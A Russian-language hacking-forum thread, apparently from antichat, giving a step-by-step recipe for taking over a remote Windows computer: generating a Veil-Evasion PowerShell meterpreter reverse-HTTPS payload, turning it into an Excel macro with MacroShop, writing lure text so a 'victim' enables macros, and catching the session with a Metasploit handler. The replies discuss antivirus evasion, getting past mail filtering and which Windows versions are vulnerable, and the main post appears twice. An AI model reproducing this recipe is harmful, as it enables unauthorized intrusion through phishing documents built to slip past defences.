Penetration Testing with Microsoft Office

[Vander]

Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/ (https://forum.antichat.xyz/threads/557819/)

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

https://forum.antichat.xyz/attachments/4764787/img_401def65a4.png

Мы будем использовать пайлоад сID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

https://forum.antichat.xyz/attachments/4764787/img_d09f259692.png

Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

https://forum.antichat.xyz/attachments/4764787/img_b326d28542.png

Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

https://forum.antichat.xyz/attachments/4764787/img_c35d970eae.png

Именно на этот LHOSTи LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

https://forum.antichat.xyz/attachments/4764787/img_f58b08d575.png

Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

https://forum.antichat.xyz/attachments/4764787/img_b448dcf0d0.png

Вводим имя:

https://forum.antichat.xyz/attachments/4764787/img_3e966f1938.png

Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

https://forum.antichat.xyz/attachments/4764787/img_8d05001b80.png

Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clonehttps://github.com/khr0x40sh/MacroShop

https://forum.antichat.xyz/attachments/4764787/img_47d896b96b.png

После установки, переместим файл win8.1 в директорию MacroShop.

https://forum.antichat.xyz/attachments/4764787/img_bbefb07894.png

Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

https://forum.antichat.xyz/attachments/4764787/img_0a4cffeea8.png

После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

https://forum.antichat.xyz/attachments/4764787/img_448d6ffb65.png

Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

https://forum.antichat.xyz/attachments/4764787/img_d7736d4733.png

Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

https://forum.antichat.xyz/attachments/4764787/img_cd33c47fe0.png

В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

https://forum.antichat.xyz/attachments/4764787/img_500404e0b3.png

Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole

https://forum.antichat.xyz/attachments/4764787/img_1040da2472.png

и введем следующие команды:


> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

https://forum.antichat.xyz/attachments/4764787/img_8e7a03c049.png

Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.

[z3RoTooL]

Нормальная тема Дополню по традиции ))))

[Vander]

kuklofon сказал(а):

Нормальная тема Дополню по традиции ))))

Отличное видео!

[z3RoTooL]

главное, чтоб кроме нас ещё кто-то смотрел эти темы ))) а то никто не комментирует, молча заходят и всё.

[kot-gor]

Хорошая статья...с этой тематики есть еще прога Magic unicorn Attack Vector. Мне даже кажется что она гораздо проще.Есть только одно но,с данным вектором атаки.Если забрасывать файл жертве через почту..то сейчас многие почтовые сервера выявляют макросы встроенные в (word,Excel, итд ) и не пропускают данные файлы, хотя эту защиту легко обходить. Ну и не следует забывать что бы вектор атаки был успешен, у жертвы должна быть включена опция отображать макросы.

[z3RoTooL]

Inject0r сказал(а):

Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.


о_О
У меня такого не было ни разу

[Vander]

Inject0r сказал(а):

Я смотрю. И на твой паблик подписался. И на ютуб ) По статистике обычно 60-80% людей - пассивные наблюдатели, тема им интересна, читают, но ничего не пишут, это нормально

Кстати, почему после установки Veil Кали начинает глючить, после перезагрузки ввожу логин и пароль рабочие, но система не загружает рабочий стол, а заново выкидывает на экран с вводом логина. С проблемой месяца 2 назад столкнулся. Проблему решил только с помощбю снапшотов. Сохранил снапшот с установленным veil на виртуалке, а после работы откатываюсь к рабочему состоянию машины. Напрягает такая схема если честно.


Никогда не сталкивался, вчера по новой ставил, все ок на 2016.2

[Hoasker]

zavtra poprobyu

[mcfly]

Можно ли сделать энкрипт в несколько проходов готового файла xml. или doc. для обхода антивирусников в Veil evasion? если нет то может что,посоветуешь может есть какие скрипты на github именно для текстовых файлов, а не exe. Shellter
шифрует exe. файлы можно в один файл залить несколько payloads и антивирь дохнет, а нужно именно для текстовых файлов.

[z3RoTooL]

MAdDog719 сказал(а):

PS2: Win 7 + Office 2010 Все работает))))


у меня на форточке №7 тоже вроде работало всё

[Vander]

MAdDog719 сказал(а):

У меня банальный защитник виндовс, при сохранении файла с макросом, определяет его как вредонос, и тут же убивает. Думаю на компе жертвы будет также.

Ставлю виртуалку Win XP поэксперементирую)))


Привет! Я на Win8.1 с защитником тестил, не определялся как вредонос...

[mcfly]

Vander сказал(а):

Всем привет! В этой статье я покажу, как можно получить доступ к удаленному компьютеру, используя Veil Evasion и Microsoft Excel. А точнее одно свойство Excel – поддержка макросов.

Макрос - это программа, которая содержит набор инструкций выполняющих какие либо действия, как автоматически, так и по требованию пользователя, т.е. выполняются явно и неявно. Широкое распространение, данное понятие получило благодаря корпорации Microsoft, которая реализовала возможность написания макросов в своих продуктах, а именно Office (Word, Excel, Access и т.д.). Используемый язык в макросах - Visual Basic, так же продукт Microsoft, но с некоторыми ограничениями. Макрокоманды, способны автоматизировать большинство процессов и значительно сократить время на обработку данных.

Способ получения Veil Evasion описан тут - https://codeby.net/threads/vzlom-udalennogo-pk-veil-evasion-metasploit.57819/ (https://forum.antichat.xyz/threads/557819/)

Запускаем Veil Evasion:

> ./Veil-Evasion.py

Вводим команду:

list (покажет список доступных пайлоадов)

Мы будем использовать пайлоад сID 23. Вводим:

> use powershell/meterpreter/rev_https

или

> use 23

Обратный протокол HTTPS, здесь будет успешно использован, в случае если файрвол у жертвы настроен таким образом, чтобы пропускать трафик по TCP. В большинстве случаев, на компьютере HTTPS не заблокирован.

Настроим Veil для нашего случая, пишем:

> set LHOST 172.16.0.199

Тут я немного прервусь, для объяснений, т.к. вопросы уже были.

Так как, я нахожусь с атакуемым компьютером в одной подсети, мы подключены к одному роутеру, то в поле LHOST я вписываю свой локальный адрес.

Именно на него «постучится» цель, после того как на нем сработает полезная нагрузка. Чтобы таким же образом подключится к компьютеру находящемуся в другой сети, вообще в другом городе/стране, необходимо сделать иначе. Для удобства лучше иметь статический (белый) IP адрес. К примеру, у вас роутер, вашей машине, с которой вы атакуете, был присвоен локальный адрес из диапазона 192.168.0.ХХХ. Но, в интернет вы выходите из под своего внешнего адреса, который присвоил вашему роутеру провайдер. Ваш компьютер, с которого вы проводите проникновение, находится за NAT роутера.

Допустим этот адрес 82.198.34.88, для того, чтобы целевой компьютер постучался на него мы в поле LHOST его и укажем. В опциях так же есть поле LPORT:

Именно на этот LHOSTи LPORT, будет пытаться подсоединиться цель. Затем необходимо указать роутеру, чтобы все пакеты, адресованные 8443 порту, он направлял нашей машине с Kali, у которой адрес 192.168.0.ХХХ. Для этого добавляем такое правило:

Теперь все пакеты, которые предназначаются 443 (у меня так) порту, получит моя Kali c локальным адресом 192.168.0.101. Идем далее.

> generate

Вводим имя:

Veil-Evasion сгенерировала нам файл win8.1.bat в директории - /usr/share/veil-output/source/

Теперь откроем новое окно терминала и установим MacroShop. MacroShop представляет собой набор скриптов, помогающих в работе с пайлоадами, через Office Macros. Большинство из них, написаны на Python. Для его установки вводим:

> git clonehttps://github.com/khr0x40sh/MacroShop

После установки, переместим файл win8.1 в директорию MacroShop.

Теперь, в терминале перейдем в директорию MacroShop, и пишем:

> python macro_safe.py windus.bat file.txt (windus.bat – потому, что я его пересоздал)

После того, как процесс успешно завершился, откроем новый файл Excel (у себя) и проделаем следующее:

Пишем имя макроса и создаем его. В открывшееся поле для редактирования, копируем код, который мы получили в файле – file.txt, затем сохраним макрос.

Копируем код полностью, заменяя строки которые были в начале макроса, это важно!

Сохраняем в формате, как на скриншоте:

В самом документе пишем все, что угодно, нам нужно заинтересовать цель в открытии документа и включения макроса.

Теперь, когда файл оказался на целевом компьютере, у себя в терминале откроем msfconsole



и введем следующие команды:


> use multi/handler

> set payload/windows/meterpreter/reverse_https

> set LHOST 192.168.0.XXX

> set LPORT XXX (ваш порт)

> exploit

Когда на целевом хосте буде открыт дынный файл и выполнится макрос, у вас откроется сессия meterpreter, как и было обещано.

Дальше дело техники. Спасибо за внимание.

P.S. Антивирусы не определяют данный код как вредоносный.




Можно ли сделать энкрипт в несколько проходов готового файла xml. или doc. для обхода антивирусников в Veil evasion? если нет то может что,посоветуешь может есть какие скрипты на github именно для текстовых файлов, а не exe. Shellter
шифрует exe. файлы можно в один файл залить несколько payloads и антивирь дохнет, а нужно именно для текстовых файлов. <Thanks

[Vander]

MAdDog719 сказал(а):

Добрый день, Vander.
Подскажите пожалуйста, в Veli у вас LPORT указан 8443, а на роутере переадресация прописана на 443 порт. Или вы при создании payload, изменили порт на 443?


Именно так

[Vander]

MAdDog719 сказал(а):

Проверил на Win 10 Home x32. не работает. Защитник убивает файлик с макросом. Во общем целится нужно на 7ку.


А 8.1 к примеру не тестировали?

[Vander]

MAdDog719 сказал(а):

Нет, но протестирую, обязательно отпишусь.
Кстати Win7 + office 2003 работает. Еще заметил что например выполнить команду hashdump не возможно с таким макросом, выдает ошибку, с чем это может быть связанно?


Попробую разобраться... интересно

[ghostphisher]

MAdDog719 сказал(а):

PS. Win XP SP3 Office 2003. Не работает.



Аналогично =) и с 2010 тоже =)

[Vander]

CyanFox сказал(а):

Отличная тема! А есть что либо подобное под линуксовые машины?


Что-то было, в одном из описанных мною фреймов, но я не помню к каком, найду - отпишусь